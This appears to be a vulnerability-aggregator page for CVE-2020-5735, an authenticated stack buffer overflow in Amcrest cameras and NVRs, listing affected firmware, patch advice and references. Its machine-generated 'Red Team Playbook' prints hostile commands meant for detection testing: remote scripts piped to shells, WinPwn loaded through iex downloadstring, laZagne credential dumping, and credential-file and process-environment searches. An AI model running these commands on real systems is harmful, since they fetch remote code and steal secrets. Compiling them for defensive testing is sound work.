CVE-2020-5735
Overview
This vulnerability is a stack-based buffer overflow in Amcrest camera and NVR firmware. The root cause is improper bounds checking on input data received over TCP port 37777, which leads to overwriting the stack memory. The affected component is the network service handling authenticated commands on port 37777, specifically within the packet processing routine of the device firmware.
Vulnerability Description
Amcrest cameras and NVR are vulnerable to a stack-based buffer overflow over port 37777. An authenticated remote attacker can abuse this issue to crash the device and possibly execute arbitrary code.
Impact
An attacker with authenticated access to the device can exploit this vulnerability to crash the device, resulting in denial of service. Additionally, the attacker may execute arbitrary code on the device, potentially gaining control over the camera or NVR system. This could lead to unauthorized surveillance, lateral movement within the network, or compromise of sensitive video data. The prerequisite is possession of valid authentication credentials, which may be obtained through other means or insider threat.
Solution
Amcrest recommends updating affected devices to the latest firmware versions that address this vulnerability. Specific firmware updates are available for models 1080-lite_8ch, amdv10814-h5, ipm-721, ip2m-841, and ip2m-841-v3. Detailed patch instructions and firmware downloads can be found in the official Amcrest advisories and at https://www.tenable.com/security/research/tra-2020-20. Users should apply these updates promptly to mitigate the risk.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (18)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Amcrest | 1080-Lite 8ch Firmware | N/A |
cpe:2.3:o:amcrest:1080-lite_8ch_firmware:-:*:*:*:*:*:*:*
|
|
|
Amcrest | Amdv10814-H5 Firmware | N/A |
cpe:2.3:o:amcrest:amdv10814-h5_firmware:-:*:*:*:*:*:*:*
|
|
|
Amcrest | Ipm-721 Firmware | All |
cpe:2.3:o:amcrest:ipm-721_firmware:*:*:*:*:*:*:*:*
|
|
|
Amcrest | Ip2m-841 Firmware | All |
cpe:2.3:o:amcrest:ip2m-841_firmware:*:*:*:*:*:*:*:*
|
|
|
Amcrest | Ip2m-841-V3 Firmware | All |
cpe:2.3:o:amcrest:ip2m-841-v3_firmware:*:*:*:*:*:*:*:*
|
|
|
Amcrest | Ip2m-853ew Firmware | All |
cpe:2.3:o:amcrest:ip2m-853ew_firmware:*:*:*:*:*:*:*:*
|
|
|
Amcrest | Ip2m-858w Firmware | All |
cpe:2.3:o:amcrest:ip2m-858w_firmware:*:*:*:*:*:*:*:*
|
|
|
Amcrest | Ip2m-866w Firmware | All |
cpe:2.3:o:amcrest:ip2m-866w_firmware:*:*:*:*:*:*:*:*
|
|
|
Amcrest | Ip2m-866ew Firmware | All |
cpe:2.3:o:amcrest:ip2m-866ew_firmware:*:*:*:*:*:*:*:*
|
|
|
Amcrest | Ip4m-1053ew Firmware | All |
cpe:2.3:o:amcrest:ip4m-1053ew_firmware:*:*:*:*:*:*:*:*
|
|
|
Amcrest | Ip8m-2454ew Firmware | All |
cpe:2.3:o:amcrest:ip8m-2454ew_firmware:*:*:*:*:*:*:*:*
|
|
|
Amcrest | Ip8m-2493eb Firmware | All |
cpe:2.3:o:amcrest:ip8m-2493eb_firmware:*:*:*:*:*:*:*:*
|
|
|
Amcrest | Ip8m-2496eb Firmware | All |
cpe:2.3:o:amcrest:ip8m-2496eb_firmware:*:*:*:*:*:*:*:*
|
|
|
Amcrest | Ip8m-2597e Firmware | All |
cpe:2.3:o:amcrest:ip8m-2597e_firmware:*:*:*:*:*:*:*:*
|
|
|
Amcrest | Ip8m-Mb2546ew Firmware | All |
cpe:2.3:o:amcrest:ip8m-mb2546ew_firmware:*:*:*:*:*:*:*:*
|
|
|
Amcrest | Ip8m-Mt2544ew Firmware | All |
cpe:2.3:o:amcrest:ip8m-mt2544ew_firmware:*:*:*:*:*:*:*:*
|
|
|
Amcrest | Ip8m-T2499ew Firmware | All |
cpe:2.3:o:amcrest:ip8m-t2499ew_firmware:*:*:*:*:*:*:*:*
|
|
|
Amcrest | Ipm-Hx1 Firmware | All |
cpe:2.3:o:amcrest:ipm-hx1_firmware:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
ExploitDB (1)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| Amcrest Dahua NVR Camera IP2M-841 - Denial of Service (PoC) | Jacob Baines | dos | hardware | - | View |
Threat Feed
4 eventsSighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
59 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2020-5735 |
| tenable.com |
GitHub CVE
x_refsource_MISC
|
https://www.tenable.com/security/research/tra-2020-20 |
| packetstormsecurity.com |
GitHub CVE
x_refsource_MISC
|
http://packetstormsecurity.com/files/157164/Amcrest-Dahua-NVR-Camera-IP2M-841-Denial-Of-Service.html |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-5735 |